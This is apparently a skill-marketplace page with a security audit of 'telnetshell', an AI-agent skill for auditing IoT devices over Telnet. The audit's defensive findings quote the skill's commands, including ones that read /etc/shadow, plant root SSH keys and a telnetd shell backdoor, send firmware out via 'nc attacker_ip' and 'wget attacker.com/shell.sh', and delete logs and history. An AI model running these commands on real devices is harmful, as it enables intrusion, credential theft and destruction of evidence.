Skills telnetshell
📦
telnetshell
Content revision r2 Critical 📁 Filesystem access⚙️ External commands🌐 Network access
Audit IoT Devices Through Telnet Shells
Manual Telnet assessment is slow and difficult to document. This skill runs logged commands, batch enumeration, and structured output against authorized IoT targets.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "telnetshell" from https://skillstore.io/skills/brownfinesecurity-telnetshell.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-telnetshell/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "telnetshell". Identify the operating system on my authorized camera without changing it.
Expected outcome:
- Target responded through Telnet.
- Kernel and BusyBox details were collected with read-only commands.
- No files or settings were changed.
Using "telnetshell". Summarize the listening services on my isolated test router.
Expected outcome:
- The device exposes Telnet and its local web service.
- The result includes interface and route context.
- Review Telnet exposure because the protocol is unencrypted.
Using "telnetshell". Create a session record for an authorized diagnostic check.
Expected outcome:
The session transcript records the target, timestamps, commands, and responses in a restricted log for later review.
Security Audit
Criticalv9 • 7/23/2026 Open versioned report
The skill intentionally executes arbitrary Telnet commands and includes credential discovery, persistence, firmware extraction, network scanning, data exfiltration, and anti-forensic examples. Markdown formatting, private example addresses, and ANSI-cleaning detections are false positives, but multiple confirmed critical workflows require strict controls. No prompt injection attempt was found.
8
Files scanned
2,017
Lines analyzed
106
Review items
0
False positives ignored
Confirmed security concerns (74)
Critical
SSH private key file
find / -name "id_rsa*" 2>/dev/null
The enumeration script searches the entire remote filesystem for SSH private keys. Any discovered key could enable credential theft and lateral access.
Critical
System password file access
cat /etc/passwd
The command at enum_security.txt:10 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
cat /etc/shadow
The command at enum_security.txt:14 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
Sudoers file access
cat /etc/sudoers 2>/dev/null
The command at enum_security.txt:54 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
Critical
SSH directory access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
Critical
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
Critical
SSH directory access
cat /root/.ssh/authorized_keys
The command at examples.md:265 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
Critical
Malware type keywords
# Add backdoor to startup
The content at examples.md:272 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
Show all 74 confirmed findings
Critical
Malware type keywords
cat > add_backdoor.txt <<'EOF'
The content at examples.md:273 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
Critical
Malware type keywords
--script add_backdoor.txt
The content at examples.md:281 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
Critical
System password file access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd"
The command at examples.md:142 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
"/etc/passwd"
The command at examples.md:328 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
"/etc/shadow"
The command at examples.md:329 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
Shell history clearing
history -c
The cleanup script clears shell history specifically after post-exploitation activity. This removes evidence and impedes incident investigation.
Critical
Log file deletion
rm -f /var/log/*
The example deletes all files under /var/log as part of removing traces. This is explicit anti-forensic behavior that destroys audit evidence.
Critical
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
Critical
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
Critical
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The content at SKILL.md:383 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
Critical
System password file access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
The command at SKILL.md:171 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
cat /etc/passwd
The command at SKILL.md:295 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
cat /etc/shadow # If readable - major security issue!
The command at SKILL.md:296 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
System password file access
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
Critical
Sudoers file access
cat /etc/sudoers
The command at SKILL.md:301 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
Critical
Explicit Sensitive Data Exfiltration Workflow
The guide labels a workflow Data Exfiltration and automates copying password files, network configuration, and databases from a target.
The heading and commands explicitly describe extraction, including /etc/shadow and discovered databases. The intent is direct and not inferred from keywords alone.
High
SSH host/auth files
find / -name "authorized_keys" 2>/dev/null
The command at enum_security.txt:41 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at enum_security.txt:38 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at enum_security.txt:39 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
SSH host/auth files
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
SSH host/auth files
cat /root/.ssh/authorized_keys
The command at examples.md:265 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at examples.md:178 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at examples.md:179 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
SQLite database file
--command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \
The command finds database files and feeds their paths into a subsequent extraction loop. This can copy application data from the target without data minimization.
High
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
High
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at SKILL.md:327 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at SKILL.md:328 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
High
Default Credential Guessing Guidance
The skill instructs users to try common default root and administrator credentials when a password prompt appears.
The listed username and password pairs are explicit credential guesses. Authorization is mentioned elsewhere but is not enforced before these instructions.
High
Pivoted Internal Network Scanning
The example uses the accessed device to sweep its local subnet, expanding discovery beyond the original Telnet target.
The heading says Network Scanning from Device and the loop probes 254 local addresses. This is clear lateral reconnaissance intent.
Low
System reconnaissance
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
Network reconnaissance
ifconfig -a
The command at enum_network.txt:5 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
netstat -tulpn
The command at enum_network.txt:17 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
netstat -an
The command at enum_network.txt:18 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
netstat -s
The command at enum_network.txt:32 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
System reconnaissance
id
The command at enum_security.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
whoami
The command at enum_security.txt:6 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
find / -user `whoami` 2>/dev/null
The command at enum_security.txt:32 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
uname -a
The command at enum_system.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
hostname
The command at enum_system.txt:7 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
--command "uname -a"
The command at examples.md:27 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
hostname
The command at examples.md:48 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
uname -a
The command at examples.md:49 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "uname -a"
The command at examples.md:125 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'"
The command at examples.md:130 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn"
The command at examples.md:138 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
--command "netstat -tulpn" --json | \
The command at examples.md:295 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:47 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
The command at SKILL.md:74 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
The command at SKILL.md:150 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
uname -a
The command at SKILL.md:259 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
hostname
The command at SKILL.md:270 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
cat /etc/hostname
The command at SKILL.md:271 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
id
The command at SKILL.md:290 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
whoami
The command at SKILL.md:291 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:509 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
Network reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
The command at SKILL.md:158 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
The command at SKILL.md:160 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
ifconfig -a
The command at SKILL.md:272 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
netstat -tulpn
The command at SKILL.md:307 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
Network reconnaissance
- [ ] Check for unauthenticated access
The command at SKILL.md:450 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Low
System reconnaissance
%(prog)s --host 192.168.1.100 --command "uname -a"
The command at telnet_helper.py:347 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
Low
Network reconnaissance
%(prog)s --host 192.168.1.100 --command "ifconfig" --json
The command at telnet_helper.py:365 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
Capability review items (106)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Shell command substitution
--command "cat $file" > "./extracted$(echo $file | tr '/' '_')"
The substitution at examples.md:340 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
Critical
Shell command substitution
--command "cat $dbfile" > "./$(basename $dbfile)"
The substitution at examples.md:358 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
Critical
Unix shell invocation
echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS
This command adds an unauthenticated /bin/sh Telnet service to device startup. It creates a persistent backdoor.
Critical
Hidden file access
mkdir -p /root/.ssh
The command at examples.md:261 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
chmod 700 /root/.ssh
The command at examples.md:263 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
cat /root/.ssh/authorized_keys
The command at examples.md:265 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Non-standard device file access
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
The command at examples.md:231 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
Critical
Temp directory access
rm -f /tmp/*
The cleanup workflow deletes every entry under /tmp. This can destroy unrelated data and removes artifacts after post-exploitation.
Critical
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This is an executable awk system call that launches /bin/sh as a limited-shell escape. It is not an inert language example.
Critical
Unix shell invocation
/bin/sh
The command at SKILL.md:439 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Unix shell invocation
/bin/bash
The command at SKILL.md:440 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Unix shell invocation
vi # Then :!/bin/sh
The command at SKILL.md:441 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Unix shell invocation
find / -exec /bin/sh \;
The command at SKILL.md:443 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The command at SKILL.md:444 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
Critical
Hidden file access
mkdir -p /root/.ssh
The command at SKILL.md:370 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Hidden file access
chmod 700 /root/.ssh
The command at SKILL.md:373 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
Critical
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
Critical
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
Critical
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
Critical
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
Critical
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
Critical
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
Critical
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The command at SKILL.md:401 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
High
Linux /proc filesystem access
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/sys/kernel/version
The command at enum_files.txt:42 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/net/dev
The command at enum_network.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/net/route
The command at enum_network.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/net/arp
The command at enum_network.txt:22 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/net/wireless
The command at enum_network.txt:26 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/net/snmp
The command at enum_network.txt:33 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
sudo privilege escalation
sudo -l
The command at enum_security.txt:53 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
High
Linux /proc filesystem access
cat /proc/version
The command at enum_system.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/cpuinfo
The command at enum_system.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/meminfo
The command at enum_system.txt:11 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/loadavg
The command at enum_system.txt:16 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/modules
The command at enum_system.txt:28 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/mounts
The command at enum_system.txt:32 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/partitions
The command at enum_system.txt:36 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/mtd
The command at enum_system.txt:37 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/cmdline
The command at enum_system.txt:40 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Shell command substitution
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done
The substitution drives a 254-host ping sweep from the compromised device. It actively maps neighboring systems and can extend intrusion scope.
High
Unix shell invocation
#!/bin/bash
The shebang at examples.md:111 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
High
Unix shell invocation
#!/bin/bash
The shebang at examples.md:399 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
High
Linux /proc filesystem access
cat /proc/version
The command at examples.md:50 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revi
The command at examples.md:126 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
--command "cat /proc/mtd"
The command at examples.md:211 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.t
The command at examples.md:429 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partition
The command at examples.md:430 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Temp directory access
--logfile /tmp/manual_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:373. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
# tail -f /tmp/manual_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:377. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
- Review session logs in `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:527. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
By default, the telnet helper script logs all I/O to `/tmp/telnet_session.log`. This happens automat
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:16. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile /tmp/my_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:36. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/my_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:40. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:61. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:85. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:106. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])'
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:159. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log | grep -i error
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:162. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log | grep -i password
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:165. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log | ccze -A
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:172. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log | colordiff
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
LOGFILE="/tmp/telnet_${TIMESTAMP}.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:183. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile /tmp/device1.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:203. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile /tmp/device2.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:209. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/device1.log /tmp/device2.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:213. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log &
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:222. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
/tmp/telnet_session.log {
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:226. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
- Check if the logfile exists: `ls -la /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:246. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
- Clear the log periodically: `> /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:257. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:270. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:279. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
1. Claude will ALWAYS specify `--logfile /tmp/telnet_session.log` (or custom path)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:294. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
2. You can monitor by running `tail -f /tmp/telnet_session.log` in another terminal
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:295. Logs can contain commands, responses, credentials, and sensitive target data.
High
sudo privilege escalation
sudo -l
The command at SKILL.md:300 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
High
Hardcoded URL
wget http://attacker.com/shell.sh
This example instructs the target to download a shell script from an attacker-controlled HTTP location. That enables unverified payload delivery over plaintext.
High
Linux /proc filesystem access
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
The command at SKILL.md:151 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
The command at SKILL.md:152 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/version
The command at SKILL.md:260 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/cpuinfo
The command at SKILL.md:261 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/meminfo
The command at SKILL.md:262 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/mounts
The command at SKILL.md:278 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/mtd
The command at SKILL.md:391 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Linux /proc filesystem access
cat /proc/partitions
The command at SKILL.md:392 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
High
Temp directory access
**ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.**
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:27. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
- **Session logging**: All I/O logged to `/tmp/telnet_session.log` for observation
